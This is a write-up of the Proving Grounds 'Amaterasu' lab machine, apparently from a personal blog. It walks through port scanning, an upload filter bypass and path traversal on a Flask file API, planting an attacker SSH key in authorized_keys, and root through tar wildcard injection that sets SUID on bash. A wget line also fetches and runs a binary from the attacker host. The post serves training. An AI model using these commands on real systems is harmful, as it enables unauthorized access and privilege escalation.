Post

PG Play Amaterasu

PG Play Amaterasu

Learnt / Summary

  • Always write something in a test file…

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# Nmap 7.94SVN scan initiated Sun Jun 16 01:37:11 2024 as: nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 21,25022,33414,40080, 192.168.244.249
Nmap scan report for 192.168.244.249
Host is up, received user-set (0.063s latency).
Scanned at 2024-06-16 01:37:11 CST for 300s

PORT      STATE SERVICE REASON         VERSION
21/tcp    open  ftp     syn-ack ttl 61 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.248
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
25022/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD6xv/PZkusP5TZdYJWDT8TTNY2xojo5b2DU/zrXm1tP4kkjNCGmwq8UwFrjo5EbEbk3wMmgHBnE73XwgnqaPd4=
|   256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHRX3RvvSVPY3FJV9u7N2xIQbLJgQoEMkmRMey39/Jxz
33414/tcp open  unknown syn-ack ttl 61
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.3 Python/3.9.13
|     Date: Sat, 15 Jun 2024 17:38:09 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   Hello: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('EHLO').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|     </html>
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
40080/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.53 ((Fedora))
|_http-title: My test page
|_http-server-header: Apache/2.4.53 (Fedora)
| http-methods: 
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33414-TCP:V=7.94SVN%I=9%D=6/16%Time=666DD14E%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkze
SF:ug/2\.2\.3\x20Python/3\.9\.13\r\nDate:\x20Sat,\x2015\x20Jun\x202024\x20
SF:17:38:09\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCont
SF:ent-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<
SF:html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found<
SF:/h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x2
SF:0server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x
SF:20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(HTTPOpti
SF:ons,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/2\.2\.
SF:3\x20Python/3\.9\.13\r\nDate:\x20Sat,\x2015\x20Jun\x202024\x2017:38:09\
SF:x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Lengt
SF:h:\x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20l
SF:ang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>
SF:The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server\.
SF:\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20check\x
SF:20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(RTSPRequest,1F4,"
SF:<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dt
SF:d\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<
SF:meta\x20http-equiv=\"Content-Type\"\x20content=\"text/html;charset=utf-
SF:8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\
SF:n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Messag
SF:e:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_
SF:REQUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method
SF:\.</p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(Hello,1EF,"<!DOCTYPE\x20
SF:HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\
SF:n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-
SF:equiv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20
SF:\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h
SF:1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20c
SF:ode:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20
SF:request\x20syntax\x20\('EHLO'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad
SF:\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x2
SF:0\x20</body>\n</html>\n");
Service Info: OS: Unix

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sun Jun 16 01:42:11 2024 -- 1 IP address (1 host up) scanned in 300.11 seconds

80 - HTTP : 404 blank page

Info

1
http://192.168.244.249:33414 [404] [404 Not Found] [Werkzeug/2.2.3 Python/3.9.13] [d767b3cb0ad66544c649e4165fc4b37e3c17e370] [Flask:2.2.3,Python:3.9.13]

Directory

1
feroxbuster -w <(cat /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt|anew) -k --auto-tune -A -u "http://$(pt get rhost):33414" -o ferox_33414.txt
1
2
200      GET        1l       19w      137c http://192.168.244.249:33414/help
200      GET        1l       14w       98c http://192.168.244.249:33414/info

Initial Access

Enumeration

80 - Python Rest API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -s http://192.168.244.249:33414/help | jq .
[
  "GET /info : General Info",
  "GET /help : This listing",
  "GET /file-list?dir=/tmp : List of the files",
  "POST /file-upload : Upload files"
]

┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -s http://192.168.244.249:33414/info | jq .
[
  "Python File Server REST API v2.5",
  "Author: Alfredo Moroder",
  "GET /help = List of the commands"
]

┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -s http://192.168.244.249:33414/file-list?dir=/tmp | jq .
[
  "flask.tar.gz",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-httpd.service-wXLGrj",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-ModemManager.service-hNfhpT",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-systemd-logind.service-kWkiZ6",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-chronyd.service-9lc593",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-dbus-broker.service-CGddV1",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-systemd-resolved.service-RakicW",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-systemd-oomd.service-Xii2Ge"
]

┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -s http://192.168.244.249:33414/file-upload
<!doctype html>
<html lang=en>
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

Shell as alfredo

80 - Flask API

File upload bypass

Create an empty file to upload

1
2
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ echo x > test

Guess file as a parameter in multiform, the response indicated that it’s a valid parameter

1
2
3
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl http://192.168.244.249:33414/file-upload -F "file=@test"
{"message":"No filename part in the request"}

A filter is blocking files that aren’t txt, pdf, png, jpg, jpeg, gif

1
2
3
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl http://192.168.244.249:33414/file-upload -F "file=@test" -F "filename=test"
{"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}

The filter isn’t checking filename parameter

1
2
3
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl http://192.168.244.249:33414/file-upload -F "file=@test" -F "filename=test.txt"
{"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}

We can bypass the file type check by modifying filename parameter and specify a valid file type with file parameter

1
2
3
4
5
6
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ mv test test.txt

┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -X POST http://192.168.244.249:33414/file-upload -F "file=@test.txt" -F "filename=test"
{"message":"File successfully uploaded"}
  • The uploaded files are located at /tmp
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -s http://192.168.244.249:33414//file-list?dir=/tmp | jq .
[
  "test",
  "flask.tar.gz",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-httpd.service-wXLGrj",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-ModemManager.service-hNfhpT",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-systemd-logind.service-kWkiZ6",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-chronyd.service-9lc593",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-dbus-broker.service-CGddV1",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-systemd-resolved.service-RakicW",
  "systemd-private-c73da0dad5364a9c80a6609690c2fcda-systemd-oomd.service-Xii2Ge"
]

Directory traversal

  • I can view alfredo’s home folder, but not root’s, which means this rest API is running by alfredo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -s http://192.168.244.249:33414//file-list?dir=/home/alfredo | jq .
[
  ".bash_logout",
  ".bash_profile",
  ".bashrc",
  "local.txt",
  ".ssh",
  "restapi",
  ".bash_history"
]

┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -s http://192.168.244.249:33414//file-list?dir=/root
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
  • We can upload files to arbitrary folder via directory traversal
1
2
3
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -X POST http://192.168.244.249:33414/file-upload -F "file=@test.txt" -F "filename=../home/alfredo/test"
{"message":"File successfully uploaded"}
1
2
3
4
5
6
7
8
9
10
11
12
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -s http://192.168.244.249:33414//file-list?dir=/home/alfredo | jq .
[
  ".bash_logout",
  ".bash_profile",
  ".bashrc",
  "local.txt",
  ".ssh",
  "restapi",
  "test",
  ".bash_history"
]

Upload ssh public key

Overwrite alfredo’s ssh public key with mine to gain remote ssh access

Generate a pair of ssh keys

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ ssh-keygen -f bravosec
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bravosec
Your public key has been saved in bravosec.pub
The key fingerprint is:
SHA256:jp/E5FlUD4YwO038797uWLU0PaNsxhXIGmCjVJ6UcMg bravosec@fsociety
The key's randomart image is:
+--[ED25519 256]--+
|      .o*Xo.+    |
|      .E***o.o.  |
|       .oooo o.. |
|         o  +   o|
|        S .. . *o|
|       * o  o = *|
|      . *    B ..|
|       o .  o .+ |
|        o    .oo+|
+----[SHA256]-----+

Upload the public key

1
2
3
4
5
6
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ cp bravosec.pub authorized_keys.txt

┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ curl -X POST http://192.168.244.249:33414/file-upload -F "file=@authorized_keys.txt" -F "filename=../home/alfredo/.ssh/authorized_keys"
{"message":"File successfully uploaded"}
1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/Offsec/pg/play/Amaterasu]
└─$ ssh alfredo@$(pt get rhost) -p 25022 -i bravosec
Warning: Permanently added '[192.168.244.249]:25022' (ED25519) to the list of known hosts.
Last failed login: Sat Jun 15 14:52:18 EDT 2024 from 192.168.45.248 on ssh:notty
There were 2 failed login attempts since the last successful login.
Last login: Tue Mar 28 03:21:25 2023
[alfredo@fedora ~]$ id
uid=1000(alfredo) gid=1000(alfredo) groups=1000(alfredo)

Privilege Escalation

From alfredo to root

Cron - Bash script : Abuse wildcard in Tar command arguments

Run pspy to spy command lines

1
2
[alfredo@fedora ~]$ FILE=pspy64; wget -q 192.168.45.248:443/$FILE -O /tmp/$FILE && chmod +x /tmp/$FILE && /tmp/$FILE &
[2] 29336
  • A cron job is running /usr/local/bin/backup-flask.sh

  • There’s a wildcard in tar’s arguments
1
2
3
4
5
6
7
8
[alfredo@fedora ~]$ ls -la /usr/local/bin/backup-flask.sh
-rwxr-xr-x. 1 root root 106 Mar 28  2023 /usr/local/bin/backup-flask.sh
[alfredo@fedora ~]$ cat /usr/local/bin/backup-flask.sh

#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *

Reference to abuse wildcard in tar’s arguments - https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks#tar

1
2
3
4
cd /home/alfredo/restapi
echo -e '#!/bin/bash\nchmod +s /bin/bash' > x
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh x'

When the script runs, the tar command will be : tar czf /tmp/flask.tar.gz --checkpoint=1 --checkpoint-action=exec=sh x *, which will execute the script I created to give bash SUID bits

1
2
3
4
5
6
[alfredo@fedora restapi]$ bash -p
bash-5.1# id
uid=1000(alfredo) gid=1000(alfredo) euid=0(root) egid=0(root) groups=0(root),1000(alfredo)
bash-5.1# $(which python2 python python3 2>/dev/null | head -n1) -c 'import os;os.setuid(0);os.system("/bin/bash -p")'
bash-5.1# id
uid=0(root) gid=1000(alfredo) egid=0(root) groups=0(root),1000(alfredo)

Post Exploitation

System Proof Screenshot

Appendix

This post is licensed under CC BY 4.0 by the author.